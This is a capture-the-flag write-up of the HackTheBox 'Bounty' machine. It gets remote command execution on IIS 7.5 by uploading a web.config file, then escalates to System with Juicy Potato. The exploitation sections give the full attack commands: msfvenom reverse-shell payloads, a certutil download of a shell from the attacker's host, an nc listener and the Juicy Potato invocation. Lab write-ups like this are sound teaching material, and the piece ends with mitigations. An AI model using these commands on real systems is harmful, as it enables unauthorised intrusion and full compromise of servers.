HTB: Bounty Writeup w/o Metasploit
Introduction
Bounty was a great box that taught us more about IIS and its vulnerabilities. Hopefully you used this as an opportunity to truly grasps why this box was vulnerable. I had fun creating a video walkthrough of the challenge. You can check it out here.
Recon
Alright, we kicked things off with our nmap scans. The only port that came back as open was port 80. Before going to the web page, we’re going to run gobuster against our target. You can use the following command to kick it off “gobuster dir -u 10.10.10.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html,asp,aspx.” During our video walkthrough, you’ll notice that gobuster runs right after our nmap scans so we don’t have to run a separate command to run it; that’s how it’s configured within our rasengan (recon scanner) script.
Ok, so now let’s check out the web page. As you will notice, there isn’t much here but a picture of Merlin.
I did download the image and checked its metadata with exiftoool (exiftool merlin.jpg), but we didn’t get anything actionable to work with. Ok so what’s next? The default page on port 80 has a picture of merlin that we can’t do much with right now. And, at the moment, there aren’t any other open ports to enumerate.
Enumeration
Fortunately, we had a gobuster scan running when we were checking out the website. If you look at the gobuster results, we find a few interesting pages.
The two interesting locations are “/transfer.aspx” and “/uploadedfiles.” We don’t have access to http://10.10.10.93/uploadedfiles. But we do have access to http://10.10.10.93/transfer.aspx.
Enumerate Upload Page
This is an upload page. The first thing that may come to your mind is uploading a reverse shell, starting up a listener, and then figuring out how to execute it. Well, that’s kind of what we’re going to do here. But let’s take it one step at a time. First, we need to figure out what kind of files we can upload, and where can we access them.
To test what we could upload, I started by uploading the merlin.jpg file we downloaded from the main page. That upload was successful. I was also able to access it by going to http://10.10.10.93/uploadedfiles/merlin.jpg.
Cool, we can upload files and access them. This is good to know. But there’s one issue here. We can’t upload any other file type, at least not a file type we can use to get a shell back. The server may have some validation script that’s checking the file extension. So I tried a few tricks to bypass the validation but all failed.
Upload Bypass
First, I created a reverse shell using msfvenom and saved it as an aspx file. Then I tried changing the magic number of the aspx file to trick the server into thinking it was a jpeg file, but that failed. I also tried adding null bytes to bypass the filter. So instead of uploading shell.aspx I uploaded shell.aspx%00.jpg. That failed too. This is where I was stuck but I knew we were in the right direction. I went back to my nmap scans to check if we missed anything, but we didn’t. However, we didn’t do much research on the service running on port 80.
Enumerating IIS 7.5
If we Google “Microsoft IIS httpd 7.5 upload vulnerability” we get the results below. Why Google that? Because “Microsoft IIS httpd 7.5” comes from the nmap version scan, the “upload vulnerability” part is what we’re looking for. In other words, we’re asking Google if there is an upload vulnerability for IIS 7.5.
The Google results do help us learn about an upload vulnerability targeting IIS 7.5. Apparently, there’s a file called web.config that configures how your website behaves. You can limit the configurations to a specific directory or to the entire website. Apparently, we can throw some aspx commands inside of the web.config file and the server will run those commands.
In the screenshot below, the second post by 003Random and the last one by Soroush Dalili is what I used to learn more about the web.config upload vulnerability. The one by 003Random was more effective for me. But unfortunately, I won’t share the link here since the website doesn’t have trusted certificates. So instead, I’ll post a link to the blog by Soroush Dalili.
Now that we have a better understanding of this, I uploaded an empty file named web.config just to see if it would bypass the validation filter. The upload was successful. Now we need a web.config file that has aspx commands to connect to a listener. I was able to find a few by asking Google. The second one below is the web.config file I used. Here is the link to it.
This web.config file will has some aspx code to get RCE control. We just need to upload the file and then we’ll be able to control it using a “cmd”. It’ll look like this “http://10.10.10.93/uploadedfiles/web.config?cmd=whoami.” Reading those blogs I shared earlier may help you understand how this RCE is working.
Nonetheless, we can switch “whoami” with any other system command. If that doesn’t work, you may need to re-upload the web.config file. Eventually you should see the output of the “whoami” command.
Exploitation
Okey dokey, we now have RCE access. To get here we needed the results of that gobuster scan, that’s where we found the transfer and upload directory. Afterwards we needed more knowledge on the upload vulnerability and learned about the web.config file exploit. Since the server isn’t blocking us from uploading a web.config file, we upload our own with some aspx code to execute remote commands. Now let’s use this RCE access to download a reverse shell and then execute it.
Let’s create the reverse shell using msfvenom. We’ll use the following command to create it: “msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.12 lport=1234 -f exe -o shell.exe.” The reason I’m using x64 and not x86 is because of machine’s system type. We validated this by passing “systeminfo” as a command. You can see that in the screenshot below.
Ok, now that our reverse shell is created, let’s start up a web server using “python3 -m http.server 8000.” Afterwards, we’ll download it using certutil. FYI: I think our web.config file is being overwritten every few minutes. I’m not too sure, but I have to reupload it every few minutes to get it to work again. You may have to reupload your web.config file to successfully pass any commands in the url.
Our python webserver is running.
Now, we’re going to use certutil to download our shell.exe file onto our victim box. The certutil command is this: “certutil -urlcache -split -f http://10.10.14.12:8000/shell.exe C:\users\public\shell.exe.”
The shell.exe file was successfully downloaded now let’s execute it. Make sure your listener is running before you execute the shell.exe file (nc -lvnp 1234). To execute the shell.exe file just past this (c:\users\public\downloads\shell.exe) as a command.
Now we have backend access to the Bounty server. Running whoami shows we are Merlin. Running “whoami /priv” shows that we have special permissions to impersonate other tokens. You can see both of those commands in the screenshot above.
If you’re aware, there are a few tools that can use these permissions to execute commands or an application with elevated privileges. One of them is known as juicy potato. Let’s use that to escalate our permissions.
Privilege Escalation
To do this we’ll need another reverse shell using a different port (msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.12 lport=443 -f exe -o here.exe), and the juicy potato executable. We’ll then need to transfer these to the Bounty box and run the juicy exploit with this “juicy.exe -l 443 -p here.exe -t * -c {03ca98d6-ff5d-49b8-abc6–03dd84127020}.”
First, we need to transfer the files over to our Bounty box. You can use the same method before with a python server. I’m going to start up a smbserver to do this. The command to start up the smbserver is in the screenshot’s caption below.
Now that the smbserver is started, let’s go back to our merlin session and switch to a directory we can write to; the Public\Downloads folder.
Now copy the here.exe (our reverse shell) and the juicy.exe file to the server. You can use this command (copy \\10.10.14.12\kali\here.exe) to copy files from our smbserver, just make sure the smbserver is running in the same directory as our shell and juicy.exe file.
Once those two are there we can run the juicy potato exploit. Make sure your listener is started and running, and then run this juicy exploit from the Bounty server with this: “juicy.exe -l 443 -p here.exe -t * -c {03ca98d6-ff5d-49b8-abc6–03dd84127020}.”
After running the exploit, we get a connection to our shell and it’s running as System.
Conclusion
The Bounty box was fun and not super difficult. On that same note, I don’t think it was entirely easy, specifically if you weren’t aware of the web.config vulnerability.
AAR
To prevent these attacks and exploits from working again, for starters, the web.config file should be included in the validation script. The validation script should prevent uploads with that filename (web.config). In addition, to prevent the juicy potato exploit we suggest upgrading to Windows Server 2019, disabling DCOM, or protecting sensitive accounts. Hopefully you enjoyed this walkthrough, here is the walkthrough video. Thank you.
